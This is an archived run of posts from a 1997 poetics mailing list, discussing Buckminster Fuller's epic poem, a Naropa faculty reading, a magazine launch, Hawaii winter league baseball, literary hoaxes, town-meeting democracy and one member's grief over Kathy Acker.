A democracy is based on the idea that since none of us knows what's best for us, we had better decide together about it. A representative democracy is based on the idea of trust - i.e., we will delegate authority because too many cooks spoil the Water Supply Board. A social democracy, I thought, was based on the idea that private property doesn't know what's good for us any more than we do. - Henry Gould

↑ Index

375. **r.drake**
Re: R. Buckminster Fuller
Mon 17 Nov 1997

I Seem To Be A Verb; 1970. i enjoyed it quite a bit when i read it, i was building geodesic domes on a commune at th time...

lbd

> *A friend tells me that Fuller wrote a book-length open-form poem about the Industrial Revolution. Anyone know about it? Is it worth tracking down?*
>
> *Gary R.*

↑ Index

376. **Catherine Daly**
Re: R. Buckminster Fuller
Mon 17 Nov 1997

---

not in my opinion, although I did attempt to read it

Catherine Daly

↑ Index

377. **acgold01**
Thanks
Mon 17 Nov 1997

Belatedly, thanks to everyone who relayed contact information for Robin Blaser, Joanne Kyger, and Robert Creeley.

As part of the Laughlin-Pound conversation, someone mentioned Eliot on "mentorship." It put me in mind of what allegedly happened when Spender met Eliot for the first time: Eliot said he could understand why Spender would want to write poetry, but that he didn't understand what it meant to want to (as Spender apparently put it) "be a poet."

Alan

↑ Index

378. **Hugh Steinberg**
Re: Yasusada ... Watten ... Social texas
Mon 17 Nov 1997

Jordan writes:

> *A catalog of literary hoaxes covers the front page of the second section of this past weekend's Financial Times, and list-subjects Yasusada, Ern Malley and Alan Sokal make up the bulk of the second half of the article. Way to go team! Demidenko, Paul Theroux and Ossian, hoaxers not yet broached here are touched on, and Chatterton and Bob Hershon's public school students are left out. Just thought I'd mention it, since Kent Johnson seems to have taken a vacation from the Yasusada updates.*

Could somebody fill me in on Chatterton and Bob Hershon's public school students?

Thanks!

Hugh Steinberg

↑ Index

379. Dean A. Brink

Re: not worth quoting, a tangent

Mon 17 Nov 1997

Hearing Clinton ad-
dress gays lesbians
at the Hyatt at least
one man stood up,
the President, and quest-
ioned an America with-
out rights for all, turn-
ed back a time blacks
took a back seat
to what was correct
democratically
broke the spell of false priests

would-be poets with miles
to go before they rollover
lauded there, cruxed (sic)
on dead ideals that WE k-
now what's best for the
U.S. Let's move on.

Dean "Thessolonius" Brink
[redacted]

↑ Index

380. Pritchett,Pat

Re: Naropa Triple A

Mon 17 Nov 1997

Sunday night at Naropa the annual Fall faculty reading was finally held, an earlier date having been called on account of blizzard.

Andrew Schelling read first. He began with an extract from the forthcoming travel journal _The Road to Ocassino: A Chiapas Journal_, which gave a fluid account of an old Nahuatl treatise on flowers & song, hallucinogens and poesis, and their convergence in "the luminous sphere of poetry." "But ah, when the mushroom wears off, one returns to daily life - restless, disconsolate." Next he

read from a delightful series of Haibuns - a hybrid form of prose and haiku. These crisp meditations on Coloradan geological and natural features moved by way of sharp, immediate, precise and bright details and included a playful and very effective section that dwelt on the odd conventions of place-naming - "A town called Rifle. A gulch called Skeleton." The section ended with a haiku for Ginsberg:

Old masters depart,
spring flowers return, haze
hangs blue by high peaks.

(Not an exact syllable count - either I missed a beat, or it's intentional).

Schelling closed with a selection of droll, piquant translations from Sanskrit love poems.

Anne Waldman began her reading by observing somewhat mordantly that "everyday seems like Memorial Day around here." In honor of what would have been Ted Berrigan's 63rd birthday, she then read his "Sonnet 23," and "In Anselm Hollo's Poems." Next in the marche funebre came "Lines for Elio Schneeman," followed by a truly wonderful elegy for Hannah Weiner entitled "Hannah Where" - "You are coded in between all the lines... I love you because you are the one who says I see, I see, I see..."

Following, Anne read from new work: "Marriage: A Sentence" - a funny, bittersweet chronology of two marriages and a third common law arrangement - "When you are married chances are there will be food in the house when you come in the door." Next, sections from _Iovis 2 & 3_: the first a continuation of her critique on the American obsession with guns, then a powerful blast on the turf battle over the idea of "women's epic" - featuring a very pointed, very right-on letter from a former list subscriber (no names, please!) and co-starring Charles Olson and Robt. Creeley.

Anne closed her set in a duet with Steven Taylor on harmonium - lines from Allen's "Mind Breaths" - "no plot, no plot, embrace the stars you are made of..."

The remainder of the evening was then remanded to the trusty custody of Anselm Hollo. Who is acquainted with the night, the blight, the cross-hair sight and a species of chimpanzees whose conflict resolution technique eschews war in favor of group orgies. Began AH: "not to belabor lugubrium, but..." and then read three poems by the late James Laughlin. He then read from his own recent _Hills Like Purple Pachyderms_ and _AHOE: And How On Earth_. Following are brief snatches: "benign evening come down... this is not the sea, just a big puddle of hopeless desire for a new brain." "So listen to some Locatelli adrift in history's drunken boat." "How many years does it take to shut up, to learn to shut up? Down the toliet with insight stew." (Pound: "tempus loquendi, tempus

tacendi"). "wintry note floats in reason's mind shaft..." And for Ted Berrigan a poem, presented here in its entirety: "The Other is the Same." And from a poem for Allen Ginsberg - "don't shelve that book yet, I want to remember him a little longer." Underneath the bright, bristling wit, the marvelous, impish wordplay, the impeccable sense of rhythm, the sharp pitch and stress of diction, me thought I detected a darker note in Hollo's work than had been heard previously. Or was it only the sound of twilight drawing its ravenous wing over all of us?

Patrick Pritchett

↑ Index

381. Susan Clark

reminder of Nov22 RADDLE MOON 16 launch at HERE

Mon 17 Nov 1997

One last reminder for NYC-and-area beings
about the RADDLE MOON 16 launch at the HERE Inn, NYC,
this Saturday November 22nd at 3pm in the afternoon.... all welcome.
Hope to see you there.

Susan Clark ed.RADDLE MOON
New York contact tel# Sat Nov22 - Tues Nov25: [redacted] [Stacy Doris]

> *[very] recent French poetry, previously unavailable in English translation,*
>
> > *On Novenmber 22, there will be a book party/benefit launch*
> > *for RADDLE MOON 16 : * 22 New [to North America] French Writers **
> > *guest-edited by Norma Cole and Stacy Doris*
>
> *New York area contributors to this issue --*
> *Ann Lauterbach, Sianne Ngai, Serge Gavronsky, Melanie Neilson,*
> *Lee Ann Brown, Nick Piombino, Richard Sieburth, Fiona Templeton,*
> *Chet Wiener, Jena Osman, Eleni Sikelianos and Stacy Doris --*
> *are invited to read from their translations of Hubert Lucot,*
> *le Lievre de Mars, Albane Provoust, Sandra Moussempes, [OULIPO-*
> *associated] Michelle Grangaud, Kati Molnar, Christophe Tarkos,*
> *Isabelle Garo, Annie Zadek, Josee Lapeyriere, Veronique Vassiliou,*
> *and Christophe Marchand-Kiss [please fill in accents, Netscape won't]*
>
> *The 200-page issue also includes the work of : Elisabeth Jacquet, Manuel Joseph,*
> *Sabine Macher, Sebastien Smirou, Huguette Champroux, Caroline Dubois, Cecile Gaudin,*
> *and Oscarine Bosquet translated by other Canadian and US poets as well*
> *one*

> *untranslated work [a "poeme-installation," 19 Jours de Chant] and an image/text piece, "7 Adieux" both by Frederique Guetat-Liviani*
>
> *It's the last event in the Ear at HERE series before Thanksgiving, so drop by*
> *Saturday at 3 pm, Nov. 22 at HERE, 145 6th Ave (between Spring and Broome) NYC*
>
> *!refreshments!*
>
> *RADDLE MOON is also available by subscription [$15] or single copy [$10] from*
> *RADDLE MOON, MainSpace, 518-350 East Second Avenue, Vancouver, BC V5T 4R8 Canada.*
> *[US people please pay in US dollars; cheques/checks and money orders to RADDLE MOON ok], or*
> *through Small Press Distribution [San Francisco].*

↑ Index

382. Steve Evans
Farrell's Fuller
Mon 17 Nov 1997

In Andrew Levy and Bob Harrison's dazzling inaugural volume of CRAYON, a census of the great ideas people have when Jackson Mac Low is in the vicinity, Dan Farrell, formerly of Vancouver and now residing in poet-thick Brooklyn, excerpts his "(Untitled Epic Poem on the History of Industrialization by R. Buckminster Fuller) GRID." Each stanza is gridded out of the words on a page of the 1962 Simon and Schuster edition of Fuller's poem.

Grid #27, shorter than most, goes like this:

uneuphonious paralysis
rosy hands omnipotence
lowering big feet blue
me acromegaly much do

The work, like its topic still in progress, is on-line at http://www.erols.com/dfar/index.html. Dan voiced a batch in Providence two Saturdays ago in an informal set with Peter Culley, whose lovely, smart, and sometimes startlingly Olsonic THE CLIMAX FOREST (Vancouver: Leech, 1995; available from SPD) is a book I greatly admire.

Crayon, complete with a soundtrack, goes for $20 at booksellers or via SPD (ISSN [redacted]).

Steve Evans

art isa uto nom ous
isa uto nom ous art
uto nom ous art isa
nom ous art isa uto
ous art isa uto nom

wha tsy our exc use

↑ Index

383. Mark Baker
Hershon and Chatterton
Mon 17 Nov 1997

Chatterton, who Bob Hershon used to call one of his marvellous boys, began in gladness to read LANGUAGE poetry while in the bath, then for his first assignment in Bob's class handed in one of Bernstein's poems. Bob, stunned by the archaic calligraphy, passed Chatterton's ms onto Sun and Moon, which _did not recognize the original voice_! How this amused Chatterton, who nevertheless ended in despondency and madness.

> *Could somebody fill me in on Chatterton and Bob Hershon's public school students?*
>
> *Thanks!*

You're welcome,

Mark Baker

↑ Index

384. Jo Ann Blevins
R. Bucky Fuller
Mon 17 Nov 1997

Fuller's text is _Untitled Epic Poem on the History of Industrialization_ (Touchstone/Simon & Schuster, 1962).

↑ Index

385. **maz881**
Re: RHawai'i Winter League Baseball
Mon 17 Nov 1997

There kept being a crow noise from the speaker. Sometimes Sit down in your seat would come out. And breaking glass sounds on something fouled. We listen to these and other noises as the West Oahu CaneFires become super victorious over the Hilo Stars at Hans L'Orange Park in Waipahu.

Getting tickets was easy from the District Manager where I work because he has season tickets. Four grandstands that cost $6 each were free for me. Also, I can Option games at Rainbow Stadium to see the Mud Sharks, or on Maui to see the Stingrays or even the big island to see the stars. This reminds me that I like listening to the am news station KHNR when I hear the big island report from Glenn. Each day he does one and only one story & it's about crime and it involves drug taking and women getting beat up. KHRN, Hilo is how he ends his report.

If you look around, there are a pleasing number of distractions hung on the fence: SeaLand: Island Focus / Global Reach, Schuler Homes, Sears, Bank of Hawaii, Vanstar: The Technology Services Company, Kobayashi Inc, Amfac, Mufi Hannemann, Waikele Club, Napa, Charley's Care Care Center, New City Nissan, E-Z Corners: Shade Canopies & Accessories, Zelt, The Brain Coral Foundation, West Oahu Canaries, 1st Hawaiian Bank, Gatorade, Carrot Systems, Mililani Shopping Center, Loco Moco Drive Inn, Pearl City Shopping Center, Lagestic Mookies & Dormers, National Waste Removal, American Fence Co.

How did these get here? O let me see if I'm replicating.

I don't notice the best sign which is for Wahiawa General Hospital in left center field. It's called the $10,000 puka. I suppose if someone hits a dong into the hole, they get $10,000. I know what a puka is because when I hooked up my computer in the branch, the District Manager said you need a new puka for your patch cable. The District Manager's son is hapa. The District Manager's favorite lunch meal is a big bbq pork sandwich at Big Kahuna's near the airport. They make their own bread and pizza.

It is true that you don't have to hit in the puka to get money. For example, cheerleaders come around with a hat and ask for money to give to the guy who just hit a homerun. Mufi Hannemann sponsors these lovely ladies, The Sugar Canes. They do dances between innings and help stage the prize giving events also. Mufi is on the city council and his picture is on the program. He is smiling in an aloha shirt and next to his smile it says Aloha to a Winning Team!

Susan is embarrassed about asking for the autograph of the CaneFires' Manager Tom Lawless. I think he used to be a utility infielder for the Cardinals. Susan says so any time a player comes up who is affiliated with the Cardinals. Both she and Bryant are wearing Cardinals hats. Hers is home. His away.

On the drive to the game Bryant says the NavSat attenuates during wartime so certain informed users can fire weapons with very accurate foci. During peace time, the attenuation is dithered so that airplanes and ships can listen to the satellites for positioning, but not firing weapons. This relates to the antenna which has just been pulled down to speed the opening of the new H-3 freeway. The antenna looked like many high tension wires strung across the big gorge near Kaneohe. A network of these sounders broadcasted very low frequency beeps to ships. They were called the Omega Stations because they were the end all to large broadcasters. You can see a sign in North Dakota that says US Coast Guard Omega Station. Another funny thing is that the Omega wavelengths are about 15 miles. I have trouble imagining waves that big, even on the north shore, which is near Bryant's house and he is a science teacher and is always reading some book at poetry readings like the CMOS cook book.

Juliana is grading papers, I'm watching for foul balls, Susan has her mitt (lefty), Bryant is sucking on crack seed & Charles is mixing $1.75 mai tais for Australians on Pub Craaaawl at the Reef Towers pool bar in Wacky Kitty and never sees any of this so then this is for him. One foul ball hits the stadium lights behind home plate and I want the lights to shatter like in the Natural, but no, the ball just falls back to the field. During its fall the umpire gets a new ball out of his pouch and begins to throw it to the pitcher; but he stops mid-motion because the foul ball has bounced off his leg. A bat boy kid picks up the foul ball as the umpire completes his throw to the pitcher.

The Phili Phanatic is here tonite, but in his non-denominational form which is called Sport. Sport shakes his belly in a hip jerky sex motion and goes ha ha ha. Sport comes up and rubs the non hair on my bolohead thank you Susan. Sport is pleased stroking the short spines and makes an ah ah ah noise. I imagine Rodney Dangerfield is below the surface.

In the middle of the sixth inning, Sport puts on a pink dress & feather boa and approaches the home plate ump. A song plays like I can't take my eyes off you, you're to good to be true, etc. Sport seduces the ump and they slow dance. Sport wraps the pink feather boa around the ump's neck and trails it down between his legs. Sport pulls the feather boa slowly from behind in order to stimulate the ump. Some young girls say when he go do dis, ya and ya, he funny, ya.

CaneFire man is here too. I am frightened by CaneFire man. He has a yellow fire head and big white eyes and a white mouth. Yet the eyes don't work and he

never speaks. He lives on the hat and is in fact the logo of the team where he swings a burning bat and is smiling and has devilish eyebrows. He represents the spirit of the Cane Fire, which starts in the middle and slowly creeps outward. Rats scurry across the road, trying to get away. Egrets swoop down to eat worms. The cane crackles like metal in a microwave. The flames are anxious to burn the cane. Flames jump from stalk to stalk, hiding behind the smoke and burning the stalks to a crisp. The ashes rustle in the wind and land like soft feathers.

The field was developed by the Oahu Sugar Company and improved through the efforts of plantation manager, Mr. Hans L'Orange. He recognized Waipahu as a baseball town and he supported 24 ball teams at the plantation to keep the workers and the community entertained. Mr. L'Orange had a vision for Waipahu and its people, whom he sincerely cared for. He also had a vision for the ballpark which coincided with his business philosophy that Oahu Sugar Company had good sugar because Oahu Sugar Company had happy people.

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As we leave the game, the CaneFires undress in the dug out. Juliana is bummed she has not noticed the Asian players doing this, but does see the umpires changing in the parking lot.

The field is now empty and black, with only flickering flames, popping up here and there, playing hide and seek. Trucks lumber like elephants, carrying loads of black cane from the wide, black, deserted fields.

The cane trucks rumble into the sugar mill and unload black stalks onto the conveyor belt. Molasses barrels are piled up like blocks. Thick smoke rises out of the stacks. The faded green buildings drowse as the smell of sweet sugar drifts through the air and lingers in the town and another day at the Oahu Sugar Company has come to an end.

Bill L

> *Date: Sun, 16 Nov 1997 09:43:11 -1000*
> *From: Susan Schultz <[redacted]>*
> *Subject: RHawai'i Winter League Baseball*

> *Last night at the winter league game between the Honolulu Sharks and the Maui Stingrays, the former Philly Phanatic (now sporting the rather dull moniker of "Sport") was spotted buffing list member Bill Luoma's bolohead not once, but twice. On the second go-round, he applied squeegee and a tiny plunger to help him in his task. Bill was then presented with an autographed card of Sport, but not the one showing the mascot pinching a base coach's bum--that one was strangely reserved for the under 10 crowd. But by far the best venue for baseball on this island (Juliana, Bill, and I will attest to this) is the choicely named Hans L'Orange Park in Waipahu, where the West Oahu Cane Fires play their home games. At that park, a collection is taken up from the crowd for the private use of any Cane Fires player who hits one home run, lidat!*
>
> *Susan*
>
> *No poetry but in baseball.*

↑ Index

386. **david bromige**
naropa triple A report
Mon 17 Nov 1997

Thank you, Pat Pritchett, for one more of your always eminently readable reports on a poetry evening. Anselm's AHOE is a lovely book, which I continue to read around in, & it was good to see it being named out here on the List.

I'm glad you didnt title yr post "Schelling/Waldman/Hollo." Whenever I see a List-post thats just a proper name these weeks I shrink up with fear that the person being named, has died. I had to pause & wonder at "Buckminster Fuller" earlier today....

Anyhow, perhaps the plethora of these reports has something to do with the darkening of Anselm's palette. As long as he continues to emit, though, time can reverse itself.

David

↑ Index

387. **Maria Damon**
Re: Naropa Triple A
Mon 17 Nov 1997

At 5:01 PM -0500 11/17/97, Pritchett,Pat @Silverplume wrote:
>Sunday night at Naropa the annual Fall faculty reading was finally held, an
>earlier date having been called on account of blizzard.

>
etc

terrific report patrick thanks

↑ Index

388. **Maria Damon**
Re: RHawai'i Winter League Baseball
Mon 17 Nov 1997

---

jeez, everyone seems to be having so much fun and writing so entertainingly about it, while i sit in 15 degree weather sweating over this dumb conference paper. it makes me feel much better, actually to read these marvelous doings in far places like boulder and hawai'i. plus, i had a skylight put into my bedroom ceiling; having officially joined the ranks of the bourgeoisie (also having started in oct to have $ deducted from my paycheck toward retirement); this is our version of fun in the frozen heart land. life's looking up (at a sometimes-blue sky thru a glass hole in my roof!)

At 7:48 PM -0500 11/17/97, [redacted] wrote:
>There kept being a crow noise from the speaker. Sometimes Sit down in your
>seat would come out. And breaking glass sounds on something fouled. We
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>Hannemann, Waikele Club, Napa, Charley's Care Care Center, New City Nissan,
>E-Z Corners: Shade Canopies & Accessories, Zelt, The Brain Coral Foundation,
>West Oahu Canaries, 1st Hawaiian Bank, Gatorade, Carrot Systems, Mililani

>Shopping Center, Loco Moco Drive Inn, Pearl City Shopping Center, Lagestic
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>>Subject: RHawai'i Winter League Baseball

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>>park, a collection is taken up from the crowd for the private use of any
>>Cane Fires player who hits one home run, lidat!
>>
>>Susan
>>
>>No poetry but in baseball.
>>

↑ Index

389. **Safdie Joseph**
Re: buzzwords of the moment
Mon 17 Nov 1997

"weapons of mass destruction"

equals

"wrote fascist opus send moan"

(well, there's about a thousand anagrams -- that's one that jumped out at me)

↑ Index

390. **Pierre Joris**
Re: R. Bucky Fuller
Mon 17 Nov 1997

& Bucky called the poetics of his thing "ventilated prose" -- a delightful description, me thinks -- Pierre

Jo Ann Blevins wrote:

> *Fuller's text is _Untitled Epic Poem on the History of Industrialization_ (Touchstone/Simon & Schuster, 1962).*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Adding music to a good poem is like using a stained-glass
window to light a painted picture. — Paul Valéry
==========

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391. Marcella
Re: R. Buckminster Fuller
Mon 17 Nov 1997

It's called "Untitled Epic Poem on the History of Industrialization." I = believe it's out of print, but it was published by Simon & Schuster in = 1962, and yes, it's definitely worth tracking down.

From: [redacted]
Sent: Monday, November 17, 1997 12:54 PM
To: [redacted]
Subject: R. Buckminster Fuller

A friend tells me that Fuller wrote a book-length open-form poem about the Industrial Revolution. Anyone know about it? Is it worth tracking = down?

Gary R.

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392. George Bowering
Re: RHawai'i Winter League Baseball
Mon 17 Nov 1997

Onliest baseball game I ever saw on Oahu was between U. Hawaii and Arizona State. Neat. This was at Aloha Stadium, I think, at Pearl. Artificial turf. And multipurpose. That is, they rolled some bleacher seats in to be the outfield barrier. Neatest thing was not that the Rainbow Warriors won, but that in the stands instead of hotdogs, all the old Japanese guys were eating miso soup.

George Bowering.

,
2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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393. George Bowering
Re: Pound, Moore, Laughlin
Mon 17 Nov 1997

>Insofar as Pound goes,
  As to his poetry...its punctuated
>with greatness, but also often dissolves in nothingness.
>
>Jerry.

Phew! I have just been reading it for 45 years, and have been labouring at writing poetry for a decade less than that, and so far I havent made myself educated enough to know that Pound is that poor. I still think he's a great poet, and that most of the time. I guess I just havent worked at it hard enough.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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394. Jerry E. Fletcher
Re: buzzwords of the moment
Tue 18 Nov 1997

Frankly, rather than buzwords of the moment, I rather know what Opus is thinking...or Dilbert. The only sense I get of the world from newpapers happens in the comics. Gee, I miss Pogo...the most poetic cartoon.

"I has met the enemy and He is Us!" Pogo...sums it up well.

Jerry

↑ Index

395. **Jerry E. Fletcher**
Re: not worth quoting, a tangent
Tue 18 Nov 1997

While I agree democracy is based on trust...I can't agree about representative democracy. That comes about because whoever draws up the rules doesn't trust the rule of the mob and finds a "nice" way of developing a leadership faction. And, then, those with money buy off the representatives...that's the way it works in Congress, the Presidency, right down to city hall and the water district.

Jerry

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396. **Jerry E. Fletcher**
Re: social (was texas)
Tue 18 Nov 1997

And here, I, a displaced and lonely Texan, thought we would get into a discussion of my native country! Oh well, would have just made the homesickness worse.

Jerry.

↑ Index

397. **mark weiss**
Re: not worth quoting, a tangent
Tue 18 Nov 1997

I've lived in two New England towns that were small enough that everyone knew everyone. They were governed by town meeting--direct democracy, Yankee-style. As far as I could tell, these towns were governed with a degree of corruption that would make a Bostonian blush. This being America, almost no one attended the meetings except those who had inherited a monopoly on town offices. An example: The town tree warden in Williamsburgh, Mass., also ran a tree-removal company. For every tree he condemned he earned a fee, and he assigned the execution to his own profit. His brother was the road commissioner. I lived on South Street, then and now a quiet place that saw traffic primarily when the school bus picked the kids up in the morning and deposited them in the afternoon. It had one vicious curve that an occasional drunk took the hard way when it was covered with ice during the seven months of winter, to much crunching of metal and little bodily harm. The road commissioner saw a good thing here. Under Mass law roads above a certain width automatically become the responsibility of the state. In theory widening the road could save

the town a little of the plowing costs it sustained every winter. It would also remove half of the front lawns of the houses along the road, and, coincidentally, a lot of trees. Using that vicious curve and the school buses as an excuse, and holding out the prospect of relief from plowing costs, the widening proposal was pushed through a packed crowd of maybe 20 close friends and relatives. The following morning, before anyone else could find out what had happened at the meeting, the tree warden was on South Street with his crew. By 10 AM a row of oak trees that had run in a straight line for a couple of hundred yards along the road for two hundred years had been reduced to firewood. But the warden had miscalculated. The trees had bordered Nels Christiansen's farm, and Nels was married to Cathy Merritt, whose family had been on South Street, a half-mile of which they owned, for longer than the oaks. They got a special town meeting called and organized a couple of hundred people to attend. The road did get widened, but more carefully, up to the border with the next town, where it retains its original width, meaning that there has been no effect on traffic or safety. The bad curve is still there, and so are the tree warden and his family, and no one without something to gain goes to the town meetings. Maybe the idea of representative democracy was that if you paid someone to attend a meeting he might actually get there.

At 10:38 PM 11/17/97 -0800, you wrote:
>While I agree democracy is based on trust...I can't agree about
>representative democracy. That comes about because whoever draws up the
>rules doesn't trust the rule of the mob and finds a "nice" way of
>developing a leadership faction. And, then, those with money buy off the
>representatives...that's the way it works in Congress, the Presidency,
>right down to city hall and the water district.
>
>Jerry
>
>

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398. **david bromige**
pound more laughlin
Tue 18 Nov 1997

George, I hadnt realized that "but also often dissolves in nothingness" meant that Pound was a poor poet. Isnt that what all the finest poetry does? (I took the "in" to mean "into". But perhaps the writer means, "drop it in a pot of nothingness, and it dissolves", a remark that may have something to do with the esthetics of reception.) Btw, did you get those moose antlers off your head yet? We've been missing you at the poker game. David

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399. **Rob Hardin**
grief to come/*tragedy* et al
Tue 18 Nov 1997

Although I did express grief over Kathy Acker on UB Poetics, and even though I did not use the word *tragedy* in expressing my grief, I do find Kathy's present condition intolerably sad. I am not part of your literary community; I am not an academic; I had been trying refrain from speaking publicly about the recent loss of Kathy and others. Those who know Kathy well must be aware of the strong and conflicting emotions she can evoke. The strength of those emotions took me by surprise when I posted here. I underestimated the intensity of those emotions.

If I'm reading them correctly, certain correspondents on this list are more interested
in challenging grief than in acknowledging it. If so, remember: I did not post a discussion
of scholarship or historical accuracy. Truthfully, I should not even have mentioned Kathy,
since her health ought to have remained my private concern. Nor do I wish to go into detail
about Kathy's condition. To challenge the assessments of others would mean to divulge
more of what I ought to have kept to myself.

My reason for posting here was simple. People were discussing Laughlin's death while I was trying not to think about Kathy. Nevertheless, as the discussion continued, I kept thinking of her. I also thought of Lou Stathis, David Wojnarowicz, Susan Walsh and Liz Brockland, all of whom died or disappeared without my being able to do anything about it. When I could not go on thinking about their passing, I posted blindly.

To David and Maria:

While it is terrible to read of someone's death, it is worse still to feel death's immanence without being able to intervene. It is worse to watch impotently as death descends. Your words do not correspond to my understanding of death, nor have I endorsed your words; therefore I need not be true to your words. I need to be true to the memory of those for whom I grieve.

I did not know your child prodigy. I have not stood at the epicenter of any of the disasters you cite. Yes, these events are tragic. But while one can lament them in the abstract, such events do not awaken pain.

What I want is not to win some argument over terms like grief and tragedy and loss. What I want is for Kathy to remain alive. What I want is for Lou, Lizzie, Susan, David and others to resurface. It is unfair that we should live and they should not. I wish they were alive and that is all I wish.

In the past, I have cared about rhetoric as ardently as I cared about people. But now that I'm losing people, it is harder to care about rhetoric.

If you did not mean to attack me over an honest expression of grief, then please accept my apologies for misunderstanding your reply.

However, if you did wish to quibble with me over texts, then please choose a textual reference in any other post I have ever made. Please don't take me to task over this one. Grief is bad enough. An autopsy would be torture.

All the best to you. May you be reconciled to this subject in a more adult fashion than I have managed so far. I wish you no ill. I do not wish to fight.

All best always,

Rob Hardin

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400. **hen**

Re: not worth quoting, a tangent

Tue 18 Nov 1997

On Mon, 17 Nov 1997 22:38:18 -0800 Jerry E. Fletcher said:
>While I agree democracy is based on trust...I can't agree about
>representative democracy. That comes about because whoever draws up the
>rules doesn't trust the rule of the mob and finds a "nice" way of
>developing a leadership faction. And, then, those with money buy off the
>representatives...that's the way it works in Congress, the Presidency,
>right down to city hall and the water district.

That still leaves the question, how would "the mob", i.e., everybody, take care of garbage collection each week? I believe in giving trust a chance and reining in the money interests. You cynics give up too easily. Popular sovereignty AND the rule of law would seem to require elected representatives to devote full time to interpreting the law. Though many of our congresspeople seem to devote full time to fundraising and partisanship. That's because most of us have left out the sovereignty clause. We're apolitical and then we blame the politicians for taking advantage of us. Our enemies never seem to live up to our own versions of utopia, for some reason. - Henry Gould

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401. David Zauhar
Re: RHawai'i Winter League Baseball
Tue 18 Nov 1997

All this talk about Baseball in Hawaii makes me feel even stupider for sitting through a Chicago Bears game on Sunday in minus-five windchill. That game, too, had poetic implications. Besides constantly reminding me of Lorine Neidecker's quote ("these are the folk from whom all poetry flows. and dreadfully much else" {pardon the lack of lineation}), it also reminded me that more people read interesting books than I tend to assume: when during one of the hundreds of TV timeouts I showed my friend the used book I bought the day before (David McFadden's _Gypsy Guitar_), and which I was reading to and from the game on the el, the guy sitting next to him said, "hey, he write travel books?" Turns out his wife works in a bookstore, and she brought home the recently released collection of McFadden's "trip" books, and he read the _Trip Around Lake Huron_, and I learned for the first time that these three books had been brought out as one: from a guy wearing a Bears Jersey who put away enough beer to pickle an ox. Almost worth freezing to death while watching a boring game.

David Zauhar
University of Illinois at Chicago

"The oldest of all alleged libraries are the libraries of the gods" --Ernest Cushing Richardson

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402. J. Tate
Literacy
Tue 18 Nov 1997

Many books/articles on literacy stress the socio-cultural empowerment literacy brings. But, little I can find addresses these sorts of questions: is aesthetic education useful to literacy? can aesthetic pleasure be a reason to teach someone to read?

Any suggestions on readings that address how aesthetic concerns intersect with literacy issues?

Thanks,

Joseph Tate
Graduate Student
Department of English
U. of Washington, Seattle

↑ Index

403. Rob Hardin
grief not merely mine, nor conclusions personal--
Tue 18 Nov 1997

--when we voice fears that she may cease to be.

> *Subject: rob hardin's grief*
> *shared by many, I have no doubt. And No, Rob, it wasnt you who used 'tragedy". My chief concern was that Listpersons were posting in as if Kathy Acker's death were a foregone conclusion & this struck me as callously insensitive. What would it cost you-all to have at least as much patience as she needs to muster? David*

I can understand your position, David. You cite good and sober reasons for voicing
it, not the least of which is compassion. But if you've read Kathy's cancer piece in the
English press, then perhaps you know that she, too, has been impatient with her own
mortality; has treated it as a foregone conclusion. She has been more dramatic about
her own death than the majority of us could manage at our most excessive.

Those who fear the worst are not callous for expressing that fear:

A callous person wishes the worst to be true. A friend fears the worst and wishes
it were not. I would never have voiced my fear if I were not chafed and abraded from
visits to the hospital that did zero good, from visits to the police department, from
profitless searches for the others whom I've mentioned. What might seem like
callousness is really the desperation of a useless friend. That desperation is
personal and does not translate. "My" grief is a vain and frivolous subject which,
I fear, is not worth anyone's attention. It posits but does not merit your eloquent
response.

My mistake, D. and everyone else. I've said as much already and reiterate now.
I hope we can drop this thread and go about our business.

All the best to you,

Rob Hardin

↑ Index

404. Christopher Alexander
Re: to spank your curiosity
Tue 18 Nov 1997

Miekal And wrote:
> You are invited to encounter JOGLARS [...]
> http://net22.com/qazingulaza/joglars/index.html

I just want to call this again to list attention
("whoso would list"), as some of us have been
there & many of us seem not to have (or passed
without a trace from off...) been there. & thanks,
Miekal & Maria (+ participants), for an amazing site!

best, Chris

..

Christopher Alexander [redacted] Marriott Library Instruction
[redacted] (lv. msg.)

↑ Index

405. Jordan Davis
Re: Hershon and Chatterton
Tue 18 Nov 1997

Wow, no! And my goof, it wasn't public school, it was Bob's students at the private St. Ann's School in Brooklyn who created Lawrence Stazer (Teachers & Writers Magazine, V15#3). Chatterton should be listed in yr desk reference or cd rom -- here's how they encapsulate him in the concise Columbia:

1752-70, English Poet. At age 12 he was composing the "Rowley poems" and claiming they were copies of 15th-cent. manuscripts. He came to London, failed to get his work published, and killed himself at 17. An original genius as well as an adept imitator, he used 15th-cent. language but a modern approach. He was a hero to the Romantics.

How many pseudonyms do you have, Henry?
Business Classics

On Mon, 17 Nov 1997, Mark Baker wrote:

> *Chatterton, who Bob Hershon used to call one of his marvellous boys, began in gladness to read LANGUAGE poetry while in the bath, then for his first assignment in Bob's class handed in one of Bernstein's poems. Bob, stunned by the archaic calligraphy, passed Chatterton's ms onto Sun and*

> *Moon, which _did not recognize the original voice_! How this amused Chatterton, who nevertheless ended in despondency and madness.*
>
> *Could somebody fill me in on Chatterton and Bob Hershon's public school students?*
>
> *Thanks!*
>
> *You're welcome,*
>
> *Mark Baker*

↑ Index

406. **Tom Vogler**

Bananas?

Tue 18 Nov 1997

I'm wondering if anyone knows where the infamous Bruce Andrews one-line poem "Bananas is an example" comes from? I'm especially interested in tracking down a critical essay or intro to an anthology where I know I read it first. (My interest is in the logic of exemplification, so I'm mostly interested in how this poem gets used as "an example").Any help would be much appreciated.
Tom Vogler <[redacted]>

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407. **Pritchett,Pat**

Re: Naropa Triple A

Tue 18 Nov 1997

Thanks Maria & David. Yes, I suspect David you correctly attribute one of the causes for the alleged recent endarkenment in Hollo's poems. Dark they may be, but I find them bracing and peculiarly comforting, perhaps from acknowledgement of common plight, i.e. mortality. And unlike Pound, thank god, no retreat into tempus anything but straight on until nightfall, damn "the insight stew."

Patrick Pritchett

From: Maria Damon
To: POETICS
Subject: Re: Naropa Triple A
Date: Tuesday, November 18, 1997 9:38AM

At 5:01 PM -0500 11/17/97, Pritchett,Pat @Silverplume wrote:
>Sunday night at Naropa the annual Fall faculty reading was finally held, an
>earlier date having been called on account of blizzard.
>
etc

terrific report patrick thanks

↑ Index

408. **Rudolph Rougenez**
Re: Hershon and Chatterton
Tue 18 Nov 1997

